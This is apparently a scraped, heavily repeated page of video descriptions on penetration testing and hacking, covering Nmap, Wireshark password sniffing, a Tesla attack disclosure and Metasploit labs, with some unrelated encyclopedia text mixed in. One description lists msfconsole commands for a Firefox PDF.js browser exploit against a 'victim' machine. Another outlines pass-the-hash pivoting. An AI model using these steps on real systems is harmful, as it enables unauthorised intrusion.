Learn more at http://www.asterisk.org
An introduction to SIP hacking, see and gain hands on knowledge of how to use the various SIP penetration testing and hacking tools available.
Phillip Mullis

published:21 Nov 2013

views:1210

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How To Remove The GoogleHackedSite (Malware) Warning - Website HackRecovery | WP Learning Lab
In this tutorial you will learn how to remove the warnings that Google puts into their search results when they suspect that your website has been hacked.
This will also remove attack page warnings and malware warnings. None of the above are good for business, so it's important that you remove them as soon as you can.
The first step is to log into your Google Webmaster tools (webmaster.google.com) and find the website that is showing the hacked site warning. There should be a message beside the website that shows Google suspects it of being hacked.
If you don't currently have a Google Webmaster tools account you'll have to create one in order to clear up the hacked site warning.
Click on the URL of your website inside Google Webmaster tools and then click on the SecurityIssues menu item on the left. You will then see a list of the URLs that Google believes may be compromised.
Once they create this list of the URLs they don't come back to the see if things have been fixed. They will wait for you to fix them and then check the I Have Fixed These Issues box. Then you click the red Request A Review button.
A popup will appear where you have to explain to Google what you've done to clear up the hack. Provide a detailed explanation and then click on the blue Request a Review button.
That's all there is to clearing up the site hacked, malware and attack site warnings that may appear in Google when people try to access your website.
It may take several weeks for Google to review and remove the notices, so you have no option but to be patient unfortunately.
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James Heyen, Systems Engineer, ViaSat, Inc.Critical Infrastructure Fails: Are We Doomed? - Are our crown-jewel critical infrastructure systems already compromised? What if they do fail? Examine two perspectives on present and future state.
http://www.rsaconference.com/events/us16

published:19 Mar 2016

views:3653

In this video, I will give some theory of Scanning. After that, I will provide a lab demo on Kali Linux Nmap CommandLines.
Slide : https://drive.google.com/open?id=0B2kyu5HKfbtDR1pCbnNTcjlFOTA
This video series is all about Ethical Hacking. So, utilize the knowledge for security purpose and do not perform illegal activities. StaySafe.
Like my page : https://www.facebook.com/babacomputerspokhara/
By : Bijay Acharya
Twitter : @acharya_bijay
.Note :
- I used Camtasia for recording (paid version)
- Image Src : I used FreeVersions, for education purpose
- PPT slides : I used Powerpoint2013 (paid version)
- These video can be found in my next youtube channels too, i.e. youtube.com/itsolutionpokhara
- CustomThumbnail image : en.wikipedia.org
- Software used for demo : Kali Linux and VmWare open source

published:27 Mar 2016

views:2207

Subscribe! http://danscourses.com - In this beginner tutorial, I demonstrate capturing packets with Wireshark. Protocols that are analyzed are Telnet, SSH, FTP, and HTTP web traffic. I show how to use Wireshark to discover usernames and passwords as well as rebuilding web page content like JPG and PNG image files.
You can find Wireshark at: http://wireshark.org
You can find PuTTY at: http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html
You can find Filezilla at: https://filezilla-project.org/

published:12 Feb 2015

views:820952

Ethical hacking: Footprinting & reconnaissance tutorial | http://www.pluralsight.com/courses/ethical-hacking-reconnaissance-footprinting
In this video, Pluralsight author DaleMeredith walks you through footprinting and reconnaissance.
The full course is part 2 of our 20 course Ethical Hacking series. This course starts you at the first phase (out of 5) of hacking. You'll begin the process of probing a system with the intent of attacking and compromising the target. This phase consists of either passively or actively acquiring evidence about a target. The goal is to gather as much data as possible about a would-be target with the goal of getting ample data to make future attacks easier and more directed.
Image this: As an Ethical Hacker, you've been asked to do a "Blackbox" attack on a customer's infrastructure. Your first step is finding out as much as you can about the "target." You accomplish this via reconnaissance/footprinting. This is the initial stage in gaining a blueprint of the security profile of a target, and it is accomplished in an organized manner. Reconnaissance is one of the three "pre-attack phases," and results in a unique profile of an organization's networks and systems. "Reconning" an organization is necessary in order to systematically gather all the related data in regards to the technologies deployed within the network. Reconnaissance can take up to 90% of the time during penetration testing or an actual attack. We'll show you how attackers are currently reconning your company, as well as discuss in detail the steps of reconnaissance. Finally we'll look at some possible countermeasures to help discourage attackers.
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published:20 May 2015

views:4044

With several months of in-depth research on TeslaCars, we have discovered multiple security vulnerabilities and successfully implemented remote, aka none physical contact, control on Tesla Model S in both Parking and DrivingMode. It is worth to note that we used an unmodified car with latest firmware to demonstrate the attack.
Following the global industry practice on “responsible disclosure” of product security vulnerabilities, we have reported the technical details of all the vulnerabilities discovered in the research to Tesla. The vulnerabilities have been confirmed by Tesla ProductSecurityTeam.
Keen Security Lab appreciates the proactive attitude and efforts of Tesla Security Team, leading by Chris Evans, on responding our vulnerability report and taking actions to fix the issues efficiently. Keen Security Lab is coordinating with Tesla on issue fixing to ensure the driving safety of Tesla users.
As far as we know, this is the first case of remote attack which compromises CAN Bus to achieve remote controls on Tesla cars. We have verified the attack vector on multiple varieties of Tesla Model S. It is reasonable to assume that other Tesla models are affected. Keen Security Lab would like to send out this reminder to all Tesla car owners:
PLEASE DO UPDATE THE FIRMWARE OF YOUR TESLACAR TO THE LATEST VERSION TO ENSURE THAT THE ISSUES ARE FIXED AND AVOID POTENTIAL DRIVING SAFETYRISKS.
This video demonstrates the impact of our remote attack vector. REMINDER: WHAT YOU ARE ABOUT TO SEE IN THIS VIDEO ARE PERFORMED BY PROFESSIONAL RESEARCHERS, DO NOTTRY THIS AT HOME.

published:19 Sep 2016

views:564394

Virtual Network Computing is widely used across all enterprises by IT administrators to remotely manage these computing devices.
What if your VNC has already been compromised by the lack of centralized management across your endpoints and servers?
Learn how to hack YouTube series: https://www.youtube.com/playlist?list=PL0-xwzAwzllx4w5OYdRoVTqlNvQ7xALNM

published:23 Jul 2017

views:662

published:17 Jul 2012

views:65794

In this tutorial I show you how to compromise an NIS installation. If you have a comment or an idea for a tutorial, webinar, or interview please subscribe and leave a comment below :)
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published:28 Dec 2011

views:1329

In this LAB,
After gaining initial access to an XP SP1 machine with the classic MS08_067_net_api, we dump the hashes out and grab the administrator account.
From here we look at the routing table and find a second NIC connected to this box..
Now we know this machine has a leg in a totally separate network now we want to compromise this box as well.
So lets now add a static Route to tell Metasploit that in order to get to our new Network go via the Session already created.
Now this is done we can run a port scan through Metasploit and see what IP address's are responding to Ports , 137,139 or 445.
These are the standard windows ports open by default.
OK so we have a new IP here to try. Lets now use the hashes we got from the XP box and use them to exploit the SMBService and Gain access to the box.
At this point i forgot to change the Payload to a bind payload, apologies for this...
After making the correct change we are through and now have compromised both machines and have SYSTEM level to both,

Kali Linux

Kali Linux is a Debian-derived Linux distribution designed for digital forensics and penetration testing. It is maintained and funded by Offensive Security Ltd. Mati Aharoni, Devon Kearns and Raphaël Hertzog are the core developers. It is also not a Linux distribution which is suggested for daily use due to the fact that is designed for professional penetration testers, not users so it is not user-friendly.

Learning Lab

Learning Lab (LL) is a systemic transformation methodology developed by Aydin Bal in 2011. The Learning Lab methodology provides research-based guidelines for local stakeholders to develop productive family-school-community partnerships and design behavioral support systems that are culturally responsive to diverse needs, strengths, practices, and goals of all stakeholders within a local school community. The Learning Lab builds organizational capacity in schools and school districts by forming an inclusive problem solving team of multiple local stakeholders (teachers, education leaders, families, students, and local community representatives). In Learning Labs, local stakeholders, specifically those who are historically marginalized from schools’ decision-making activities, collectively examine disparities in behavioral outcomes in their local schools and develop solutions through systemic transformation.

The Learning Lab methodology was adapted from the change laboratory methodology and is grounded in Cultural Historical Activity Theory. The moral purpose of the Learning Lab is participatory social justice. Participatory social justice is about non-dominant communities’ equal participation and influence on decision-making activities. The goal of the Learning Lab methodology is to facilitate collective agency among local stakeholders who develop locally meaningful, socially just, and sustainable systemic solutions to educational equity issues such as racial disproportionality in exclusionary and punitive school disciplinary actions (e.g., detention, suspension, and expulsion).

History

One of the first instances of an ethical hack being used was a "security evaluation" conducted by the United States Air Force of the Multics operating systems for "potential use as a two-level (secret/top secret) system." Their evaluation found that while Multics was "significantly better than other conventional systems," it also had "... vulnerabilities in hardware security, software security and procedural security" that could be uncovered with "a relatively low level of effort." The authors performed their tests under a guideline of realism, so that their results would accurately represent the kinds of access that an intruder could potentially achieve. They performed tests that were simple information-gathering exercises, as well as other tests that were outright attacks upon the system that might damage its integrity. Clearly, their audience wanted to know both results. There are several other now unclassified reports that describe ethical hacking activities within the U.S. military.

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How To Remove The GoogleHackedSite (Malware) Warning - Website HackRecovery | WP Learning Lab
In this tutorial you will learn how to remove the warnings that Google puts into their search results when they suspect that your website has been hacked.
This will also remove attack page warnings and malware warnings. None of the above are good for business, so it's important that you remove them as soon as you can.
The first step is to log into your Google Webmaster tools (webmaster.google.com) and find the website that is showing the hacked site warning. There should be a message beside the website that shows Google suspects it of being hacked.
If you don't currently have a Google Webmaster tools account you'll have to create one in order to clear up the hacked site warning.
Click on the URL of your website inside Google Webmaster tools and then click on the SecurityIssues menu item on the left. You will then see a list of the URLs that Google believes may be compromised.
Once they create this list of the URLs they don't come back to the see if things have been fixed. They will wait for you to fix them and then check the I Have Fixed These Issues box. Then you click the red Request A Review button.
A popup will appear where you have to explain to Google what you've done to clear up the hack. Provide a detailed explanation and then click on the blue Request a Review button.
That's all there is to clearing up the site hacked, malware and attack site warnings that may appear in Google when people try to access your website.
It may take several weeks for Google to review and remove the notices, so you have no option but to be patient unfortunately.
I hope this information helps you! If you have any questions leave a comment below or ping me @WPLearningLab on Twitter.
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Honey, I Hacked The SCADA! : Industrial CONTROLLED Systems!

James Heyen, Systems Engineer, ViaSat, Inc.Critical Infrastructure Fails: Are We Doomed? - Are our crown-jewel critical infrastructure systems already compromised? What if they do fail? Examine two perspectives on present and future state.
http://www.rsaconference.com/events/us16

21:37

[In Nepali] Learn Ethical Hacking - Part 7 - Scanning + NMAP Lab

[In Nepali] Learn Ethical Hacking - Part 7 - Scanning + NMAP Lab

[In Nepali] Learn Ethical Hacking - Part 7 - Scanning + NMAP Lab

In this video, I will give some theory of Scanning. After that, I will provide a lab demo on Kali Linux Nmap CommandLines.
Slide : https://drive.google.com/open?id=0B2kyu5HKfbtDR1pCbnNTcjlFOTA
This video series is all about Ethical Hacking. So, utilize the knowledge for security purpose and do not perform illegal activities. StaySafe.
Like my page : https://www.facebook.com/babacomputerspokhara/
By : Bijay Acharya
Twitter : @acharya_bijay
.Note :
- I used Camtasia for recording (paid version)
- Image Src : I used FreeVersions, for education purpose
- PPT slides : I used Powerpoint2013 (paid version)
- These video can be found in my next youtube channels too, i.e. youtube.com/itsolutionpokhara
- CustomThumbnail image : en.wikipedia.org
- Software used for demo : Kali Linux and VmWare open source

19:03

Wireshark Packet Sniffing Usernames, Passwords, and Web Pages

Wireshark Packet Sniffing Usernames, Passwords, and Web Pages

Wireshark Packet Sniffing Usernames, Passwords, and Web Pages

Subscribe! http://danscourses.com - In this beginner tutorial, I demonstrate capturing packets with Wireshark. Protocols that are analyzed are Telnet, SSH, FTP, and HTTP web traffic. I show how to use Wireshark to discover usernames and passwords as well as rebuilding web page content like JPG and PNG image files.
You can find Wireshark at: http://wireshark.org
You can find PuTTY at: http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html
You can find Filezilla at: https://filezilla-project.org/

2:54

Ethical hacking: Footprinting & reconnaissance tutorial | Pluralsight

Ethical hacking: Footprinting & reconnaissance tutorial | Pluralsight

Ethical hacking: Footprinting & reconnaissance tutorial | Pluralsight

Ethical hacking: Footprinting & reconnaissance tutorial | http://www.pluralsight.com/courses/ethical-hacking-reconnaissance-footprinting
In this video, Pluralsight author DaleMeredith walks you through footprinting and reconnaissance.
The full course is part 2 of our 20 course Ethical Hacking series. This course starts you at the first phase (out of 5) of hacking. You'll begin the process of probing a system with the intent of attacking and compromising the target. This phase consists of either passively or actively acquiring evidence about a target. The goal is to gather as much data as possible about a would-be target with the goal of getting ample data to make future attacks easier and more directed.
Image this: As an Ethical Hacker, you've been asked to do a "Blackbox" attack on a customer's infrastructure. Your first step is finding out as much as you can about the "target." You accomplish this via reconnaissance/footprinting. This is the initial stage in gaining a blueprint of the security profile of a target, and it is accomplished in an organized manner. Reconnaissance is one of the three "pre-attack phases," and results in a unique profile of an organization's networks and systems. "Reconning" an organization is necessary in order to systematically gather all the related data in regards to the technologies deployed within the network. Reconnaissance can take up to 90% of the time during penetration testing or an actual attack. We'll show you how attackers are currently reconning your company, as well as discuss in detail the steps of reconnaissance. Finally we'll look at some possible countermeasures to help discourage attackers.
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8:06

Car Hacking Research: Remote Attack Tesla Motors by Keen Security Lab

Car Hacking Research: Remote Attack Tesla Motors by Keen Security Lab

Car Hacking Research: Remote Attack Tesla Motors by Keen Security Lab

With several months of in-depth research on TeslaCars, we have discovered multiple security vulnerabilities and successfully implemented remote, aka none physical contact, control on Tesla Model S in both Parking and DrivingMode. It is worth to note that we used an unmodified car with latest firmware to demonstrate the attack.
Following the global industry practice on “responsible disclosure” of product security vulnerabilities, we have reported the technical details of all the vulnerabilities discovered in the research to Tesla. The vulnerabilities have been confirmed by Tesla ProductSecurityTeam.
Keen Security Lab appreciates the proactive attitude and efforts of Tesla Security Team, leading by Chris Evans, on responding our vulnerability report and taking actions to fix the issues efficiently. Keen Security Lab is coordinating with Tesla on issue fixing to ensure the driving safety of Tesla users.
As far as we know, this is the first case of remote attack which compromises CAN Bus to achieve remote controls on Tesla cars. We have verified the attack vector on multiple varieties of Tesla Model S. It is reasonable to assume that other Tesla models are affected. Keen Security Lab would like to send out this reminder to all Tesla car owners:
PLEASE DO UPDATE THE FIRMWARE OF YOUR TESLACAR TO THE LATEST VERSION TO ENSURE THAT THE ISSUES ARE FIXED AND AVOID POTENTIAL DRIVING SAFETYRISKS.
This video demonstrates the impact of our remote attack vector. REMINDER: WHAT YOU ARE ABOUT TO SEE IN THIS VIDEO ARE PERFORMED BY PROFESSIONAL RESEARCHERS, DO NOTTRY THIS AT HOME.

9:41

Learn Cybersecurity: Hack into Windows By Attacking VNC Servers

Learn Cybersecurity: Hack into Windows By Attacking VNC Servers

Learn Cybersecurity: Hack into Windows By Attacking VNC Servers

Virtual Network Computing is widely used across all enterprises by IT administrators to remotely manage these computing devices.
What if your VNC has already been compromised by the lack of centralized management across your endpoints and servers?
Learn how to hack YouTube series: https://www.youtube.com/playlist?list=PL0-xwzAwzllx4w5OYdRoVTqlNvQ7xALNM

9:25

PfSense Proxy Server getting hacked

PfSense Proxy Server getting hacked

PfSense Proxy Server getting hacked

10:29

Hacking NIS Penetration Test Tutorial

Hacking NIS Penetration Test Tutorial

Hacking NIS Penetration Test Tutorial

In this tutorial I show you how to compromise an NIS installation. If you have a comment or an idea for a tutorial, webinar, or interview please subscribe and leave a comment below :)
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5:09

Metasploit Tutorials - Pivoting into Internal Subnets!

Metasploit Tutorials - Pivoting into Internal Subnets!

Metasploit Tutorials - Pivoting into Internal Subnets!

In this LAB,
After gaining initial access to an XP SP1 machine with the classic MS08_067_net_api, we dump the hashes out and grab the administrator account.
From here we look at the routing table and find a second NIC connected to this box..
Now we know this machine has a leg in a totally separate network now we want to compromise this box as well.
So lets now add a static Route to tell Metasploit that in order to get to our new Network go via the Session already created.
Now this is done we can run a port scan through Metasploit and see what IP address's are responding to Ports , 137,139 or 445.
These are the standard windows ports open by default.
OK so we have a new IP here to try. Lets now use the hashes we got from the XP box and use them to exploit the SMBService and Gain access to the box.
At this point i forgot to change the Payload to a bind payload, apologies for this...
After making the correct change we are through and now have compromised both machines and have SYSTEM level to both,

How A Windows Can Be Compromised(Hacked) Just By Clicking A Link -solutionrider

How A Windows Can Be Compromised(Hacked) Just By Clicking A Link -solutionrider

How A Windows Can Be Compromised(Hacked) Just By Clicking A Link -solutionrider

Hello Guys
This is solutionrider
Today i am going to show you how a windows machine can be compromised(hacked) just by clicking a link..(only in firefox browser)
Means how dangerous it can be to click an unknown link...
STAY SAFE BY WATCHING THIS TUTORIAL..
Req:-
1.a kali machine as hacker
2.a windows machine as victim
i am doing all these in a lab (vmware player)
I AM NOT RESPONSIBLE FOR YOUR ACTION!!
don not misuse it...
Now follow my steps:
open metasploit (in terminal msfconsole)
in metasploit type these command one bye one...
$use exploit/multi/browser/firefox_pdfjs_privilege_escalation
$set SRVHOST (ip)
*ip can be private as i am using for lan ..you can use public ip for wan or hacking over internet...
$ifconfig (to know your private ip in kali)
$set lhost (ip)
$set URIPATH / (/--means root )
$run
Now copy the url provided and open it in the victim machine use firefox browser...
As you can see we get a session in metasploit for victim ip...
Thanks for watching.
I AM NOT RESPONSIBLE FOR YOUR ACTION!!
For more detail visit http://solutionrider.in

26:56

'State of Surveillance' with Edward Snowden and Shane Smith (VICE on HBO: Season 4, Episode 13)

'State of Surveillance' with Edward Snowden and Shane Smith (VICE on HBO: Season 4, Episode 13)

'State of Surveillance' with Edward Snowden and Shane Smith (VICE on HBO: Season 4, Episode 13)

When NSA whistleblower Edward Snowden leaked details of massive government surveillance programs in 2013, he ignited a raging debate over digital privacy and security. That debate came to a head this year, when Apple refused an FBI court order to access the iPhone of alleged San BernardinoTerroristSyed Farook. Meanwhile, journalists and activists are under increasing attack from foreign agents. To find out the government's real capabilities, and whether any of us can truly protect our sensitive information, VICE founder Shane Smith heads to Moscow to meet the man who started the conversation, Edward Snowden.
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10:55

How A Windows Can Be Compromised (Hacked) Just By Clicking A Link -solutionrider

How A Windows Can Be Compromised (Hacked) Just By Clicking A Link -solutionrider

How A Windows Can Be Compromised (Hacked) Just By Clicking A Link -solutionrider

Hello Guys
This is solutionrider
Today i am going to show you how a windows machine can be compromised(hacked) just by clicking a link..(only in firefox browser)
Means how dangerous it can be to click an unknown link...
STAY SAFE BY WATCHING THIS TUTORIAL..
Req:-
1.a kali machine as hacker
2.a windows machine as victim
i am doing all these in a lab (vmware player)
I AM NOT RESPONSIBLE FOR YOUR ACTION!!
don not misuse it...
Now follow my steps:
open metasploit (in terminal msfconsole)
in metasploit type these command one bye one...
$use exploit/multi/browser/firefox_pdfjs_privilege_escalation
$set SRVHOST (ip)
*ip can be private as i am using for lan ..you can use public ip for wan or hacking over internet...
$ifconfig (to know your private ip in kali)
$set lhost (ip)
$set URIPATH / (/--means root )
$run
Now copy the url provided and open it in the victim machine use firefox browser...
As you can see we get a session in metasploit for victim ip...
Thanks for watching.
I AM NOT RESPONSIBLE FOR YOUR ACTION!!
For more detail visit http://www.solutionrider.in

38:19

DEF CON 23 - Brent White - Hacking Web Apps

DEF CON 23 - Brent White - Hacking Web Apps

DEF CON 23 - Brent White - Hacking Web Apps

Assessing the security posture of a web application is a common project for a penetration tester and a good skill for developers to know. In this talk, I'll go over the different stages of a web application pen test, from start to finish. We'll start with the discovery phase to utilize OSINT sources such as search engines, sub-domain brute-forcing and other methods to help you get a good idea of targets "footprint", all the way to fuzzing parameters to find potential SQL injection vulnerabilities. I'll also discuss several of the tools and some techniques that I use to conduct a full application penetration assessment. After this talk, you should have a good understanding of what is needed as well as where to start on your journey to hacking web apps.
Speaker Bio:
Brent is an OffensiveSecurity Consultant at Solutionary NTTGroup Security Company and has spoken at numerous security conferences, including DEF CON 22‹SE Village. He has held the role of Web/Project Manager and IT SecurityDirector at the headquarters of a global franchise company. His experience includes Internal and ExternalPenetration Assessments, Social Engineering and Physical Security Assessments, Wireless and ApplicationVulnerability Assessments and more.
Twitter: @BrentWDesign

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In this tutorial you will learn how to remove the warnings that Google puts into their search results when they suspect that your website has been hacked.
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The first step is to log into your Google Webmaster tools (webmaster.google.com) and find the website that is showing the hacked site warning. There should be a message beside the website that shows Google suspects it of ...

published: 08 Jun 2015

OSCP Prep - Kali Linux Pentesting Lab (Kioptrix Level 1.3 / #4)

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published: 08 Oct 2017

Honey, I Hacked The SCADA! : Industrial CONTROLLED Systems!

James Heyen, Systems Engineer, ViaSat, Inc.Critical Infrastructure Fails: Are We Doomed? - Are our crown-jewel critical infrastructure systems already compromised? What if they do fail? Examine two perspectives on present and future state.
http://www.rsaconference.com/events/us16

published: 19 Mar 2016

[In Nepali] Learn Ethical Hacking - Part 7 - Scanning + NMAP Lab

In this video, I will give some theory of Scanning. After that, I will provide a lab demo on Kali Linux Nmap CommandLines.
Slide : https://drive.google.com/open?id=0B2kyu5HKfbtDR1pCbnNTcjlFOTA
This video series is all about Ethical Hacking. So, utilize the knowledge for security purpose and do not perform illegal activities. StaySafe.
Like my page : https://www.facebook.com/babacomputerspokhara/
By : Bijay Acharya
Twitter : @acharya_bijay
.Note :
- I used Camtasia for recording (paid version)
- Image Src : I used FreeVersions, for education purpose
- PPT slides : I used Powerpoint2013 (paid version)
- These video can be found in my next youtube channels too, i.e. youtube.com/itsolutionpokhara
- CustomThumbnail image : en.wikipedia.org
- Software used for demo : Kali Linux and ...

published: 27 Mar 2016

Wireshark Packet Sniffing Usernames, Passwords, and Web Pages

Subscribe! http://danscourses.com - In this beginner tutorial, I demonstrate capturing packets with Wireshark. Protocols that are analyzed are Telnet, SSH, FTP, and HTTP web traffic. I show how to use Wireshark to discover usernames and passwords as well as rebuilding web page content like JPG and PNG image files.
You can find Wireshark at: http://wireshark.org
You can find PuTTY at: http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html
You can find Filezilla at: https://filezilla-project.org/

published: 12 Feb 2015

Ethical hacking: Footprinting & reconnaissance tutorial | Pluralsight

Ethical hacking: Footprinting & reconnaissance tutorial | http://www.pluralsight.com/courses/ethical-hacking-reconnaissance-footprinting
In this video, Pluralsight author DaleMeredith walks you through footprinting and reconnaissance.
The full course is part 2 of our 20 course Ethical Hacking series. This course starts you at the first phase (out of 5) of hacking. You'll begin the process of probing a system with the intent of attacking and compromising the target. This phase consists of either passively or actively acquiring evidence about a target. The goal is to gather as much data as possible about a would-be target with the goal of getting ample data to make future attacks easier and more directed.
Image this: As an Ethical Hacker, you've been asked to do a "Blackbox" attack on a...

published: 20 May 2015

Car Hacking Research: Remote Attack Tesla Motors by Keen Security Lab

With several months of in-depth research on TeslaCars, we have discovered multiple security vulnerabilities and successfully implemented remote, aka none physical contact, control on Tesla Model S in both Parking and DrivingMode. It is worth to note that we used an unmodified car with latest firmware to demonstrate the attack.
Following the global industry practice on “responsible disclosure” of product security vulnerabilities, we have reported the technical details of all the vulnerabilities discovered in the research to Tesla. The vulnerabilities have been confirmed by Tesla ProductSecurityTeam.
Keen Security Lab appreciates the proactive attitude and efforts of Tesla Security Team, leading by Chris Evans, on responding our vulnerability report and taking actions to fix the issu...

published: 19 Sep 2016

Learn Cybersecurity: Hack into Windows By Attacking VNC Servers

Virtual Network Computing is widely used across all enterprises by IT administrators to remotely manage these computing devices.
What if your VNC has already been compromised by the lack of centralized management across your endpoints and servers?
Learn how to hack YouTube series: https://www.youtube.com/playlist?list=PL0-xwzAwzllx4w5OYdRoVTqlNvQ7xALNM

published: 23 Jul 2017

PfSense Proxy Server getting hacked

published: 17 Jul 2012

Hacking NIS Penetration Test Tutorial

In this tutorial I show you how to compromise an NIS installation. If you have a comment or an idea for a tutorial, webinar, or interview please subscribe and leave a comment below :)
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published: 28 Dec 2011

Metasploit Tutorials - Pivoting into Internal Subnets!

In this LAB,
After gaining initial access to an XP SP1 machine with the classic MS08_067_net_api, we dump the hashes out and grab the administrator account.
From here we look at the routing table and find a second NIC connected to this box..
Now we know this machine has a leg in a totally separate network now we want to compromise this box as well.
So lets now add a static Route to tell Metasploit that in order to get to our new Network go via the Session already created.
Now this is done we can run a port scan through Metasploit and see what IP address's are responding to Ports , 137,139 or 445.
These are the standard windows ports open by default.
OK so we have a new IP here to try. Lets now use the hashes we got from the XP box and use them to exploit the SMBService and Gain access to ...

Compromise Router for Hacking SSH Hacking Part 1

Forensic Investigations – Tools and Hacks Observed - Ondrej Krehel

Forensic Investigations – Tools and Hacks Observed, Ondrej Krehel at NYCCyber Security meetup at Thoughtworks NYC on Feb 25 2016
ABSTRACT
Investigation of hacking incidents often requires combine effort of different technologies. Network forensics is one of the components in the process of finding compromised hosts, capturing and reconstructing malicious sessions. This lab will cover open source tools used for network forensics. Variety of tools can produce quite significant supplement to electronic evidence, and in many cases also capture the malicious executable transmitted in the traffic, or ex-filtrated data.
Various network protocols and their structure are presented. Open source network forensic tools are used on the traffic captured from a hacked web server. Different tools are...

How A Windows Can Be Compromised(Hacked) Just By Clicking A Link -solutionrider

Hello Guys
This is solutionrider
Today i am going to show you how a windows machine can be compromised(hacked) just by clicking a link..(only in firefox browser)
Means how dangerous it can be to click an unknown link...
STAY SAFE BY WATCHING THIS TUTORIAL..
Req:-
1.a kali machine as hacker
2.a windows machine as victim
i am doing all these in a lab (vmware player)
I AM NOT RESPONSIBLE FOR YOUR ACTION!!
don not misuse it...
Now follow my steps:
open metasploit (in terminal msfconsole)
in metasploit type these command one bye one...
$use exploit/multi/browser/firefox_pdfjs_privilege_escalation
$set SRVHOST (ip)
*ip can be private as i am using for lan ..you can use public ip for wan or hacking over internet...
$ifconfig (to know your private ip in kali)
$set lhost (ip)
$set URIPATH / (/--...

published: 11 Jul 2017

'State of Surveillance' with Edward Snowden and Shane Smith (VICE on HBO: Season 4, Episode 13)

When NSA whistleblower Edward Snowden leaked details of massive government surveillance programs in 2013, he ignited a raging debate over digital privacy and security. That debate came to a head this year, when Apple refused an FBI court order to access the iPhone of alleged San BernardinoTerroristSyed Farook. Meanwhile, journalists and activists are under increasing attack from foreign agents. To find out the government's real capabilities, and whether any of us can truly protect our sensitive information, VICE founder Shane Smith heads to Moscow to meet the man who started the conversation, Edward Snowden.
VICE on HBOSeason 1: http://bit.ly/1BAQdq5
VICE on HBO Season 2:http://bit.ly/1LBL8y6
VICE on HBO Season 3:http://bit.ly/1XaNpct
Check out VICE News' continuing coverage of Edward...

published: 08 Jun 2016

How A Windows Can Be Compromised (Hacked) Just By Clicking A Link -solutionrider

Hello Guys
This is solutionrider
Today i am going to show you how a windows machine can be compromised(hacked) just by clicking a link..(only in firefox browser)
Means how dangerous it can be to click an unknown link...
STAY SAFE BY WATCHING THIS TUTORIAL..
Req:-
1.a kali machine as hacker
2.a windows machine as victim
i am doing all these in a lab (vmware player)
I AM NOT RESPONSIBLE FOR YOUR ACTION!!
don not misuse it...
Now follow my steps:
open metasploit (in terminal msfconsole)
in metasploit type these command one bye one...
$use exploit/multi/browser/firefox_pdfjs_privilege_escalation
$set SRVHOST (ip)
*ip can be private as i am using for lan ..you can use public ip for wan or hacking over internet...
$ifconfig (to know your private ip in kali)
$set lhost (ip)
$set URIPATH / (/--...

published: 07 Sep 2017

DEF CON 23 - Brent White - Hacking Web Apps

Assessing the security posture of a web application is a common project for a penetration tester and a good skill for developers to know. In this talk, I'll go over the different stages of a web application pen test, from start to finish. We'll start with the discovery phase to utilize OSINT sources such as search engines, sub-domain brute-forcing and other methods to help you get a good idea of targets "footprint", all the way to fuzzing parameters to find potential SQL injection vulnerabilities. I'll also discuss several of the tools and some techniques that I use to conduct a full application penetration assessment. After this talk, you should have a good understanding of what is needed as well as where to start on your journey to hacking web apps.
Speaker Bio:
Brent is an Offensive S...

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How To Remove The GoogleHackedSite (Malware) Warning - Website HackRecovery | WP Learning Lab
In this tutorial you will learn how to remove the warnings that Google puts into their search results when they suspect that your website has been hacked.
This will also remove attack page warnings and malware warnings. None of the above are good for business, so it's important that you remove them as soon as you can.
The first step is to log into your Google Webmaster tools (webmaster.google.com) and find the website that is showing the hacked site warning. There should be a message beside the website that shows Google suspects it of being hacked.
If you don't currently have a Google Webmaster tools account you'll have to create one in order to clear up the hacked site warning.
Click on the URL of your website inside Google Webmaster tools and then click on the SecurityIssues menu item on the left. You will then see a list of the URLs that Google believes may be compromised.
Once they create this list of the URLs they don't come back to the see if things have been fixed. They will wait for you to fix them and then check the I Have Fixed These Issues box. Then you click the red Request A Review button.
A popup will appear where you have to explain to Google what you've done to clear up the hack. Provide a detailed explanation and then click on the blue Request a Review button.
That's all there is to clearing up the site hacked, malware and attack site warnings that may appear in Google when people try to access your website.
It may take several weeks for Google to review and remove the notices, so you have no option but to be patient unfortunately.
I hope this information helps you! If you have any questions leave a comment below or ping me @WPLearningLab on Twitter.
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How To Remove The GoogleHackedSite (Malware) Warning - Website HackRecovery | WP Learning Lab
In this tutorial you will learn how to remove the warnings that Google puts into their search results when they suspect that your website has been hacked.
This will also remove attack page warnings and malware warnings. None of the above are good for business, so it's important that you remove them as soon as you can.
The first step is to log into your Google Webmaster tools (webmaster.google.com) and find the website that is showing the hacked site warning. There should be a message beside the website that shows Google suspects it of being hacked.
If you don't currently have a Google Webmaster tools account you'll have to create one in order to clear up the hacked site warning.
Click on the URL of your website inside Google Webmaster tools and then click on the SecurityIssues menu item on the left. You will then see a list of the URLs that Google believes may be compromised.
Once they create this list of the URLs they don't come back to the see if things have been fixed. They will wait for you to fix them and then check the I Have Fixed These Issues box. Then you click the red Request A Review button.
A popup will appear where you have to explain to Google what you've done to clear up the hack. Provide a detailed explanation and then click on the blue Request a Review button.
That's all there is to clearing up the site hacked, malware and attack site warnings that may appear in Google when people try to access your website.
It may take several weeks for Google to review and remove the notices, so you have no option but to be patient unfortunately.
I hope this information helps you! If you have any questions leave a comment below or ping me @WPLearningLab on Twitter.
--------------
If you want more excellent WordPress information check out our website where we post WordPress tutorials daily.
http://wplearninglab.com/
Connect with us:
WP Learning Lab Channel: http://www.youtube.com/subscription_center?add_user=wplearninglab
Facebook: https://www.facebook.com/wplearninglab
Twitter: https://twitter.com/WPLearningLab
Google Plus: http://google.com/+Wplearninglab
Pinterest: http://www.pinterest.com/wplearninglab/

James Heyen, Systems Engineer, ViaSat, Inc.Critical Infrastructure Fails: Are We Doomed? - Are our crown-jewel critical infrastructure systems already compromised? What if they do fail? Examine two perspectives on present and future state.
http://www.rsaconference.com/events/us16

James Heyen, Systems Engineer, ViaSat, Inc.Critical Infrastructure Fails: Are We Doomed? - Are our crown-jewel critical infrastructure systems already compromised? What if they do fail? Examine two perspectives on present and future state.
http://www.rsaconference.com/events/us16

[In Nepali] Learn Ethical Hacking - Part 7 - Scanning + NMAP Lab

In this video, I will give some theory of Scanning. After that, I will provide a lab demo on Kali Linux Nmap CommandLines.
Slide : https://drive.google.com/o...

In this video, I will give some theory of Scanning. After that, I will provide a lab demo on Kali Linux Nmap CommandLines.
Slide : https://drive.google.com/open?id=0B2kyu5HKfbtDR1pCbnNTcjlFOTA
This video series is all about Ethical Hacking. So, utilize the knowledge for security purpose and do not perform illegal activities. StaySafe.
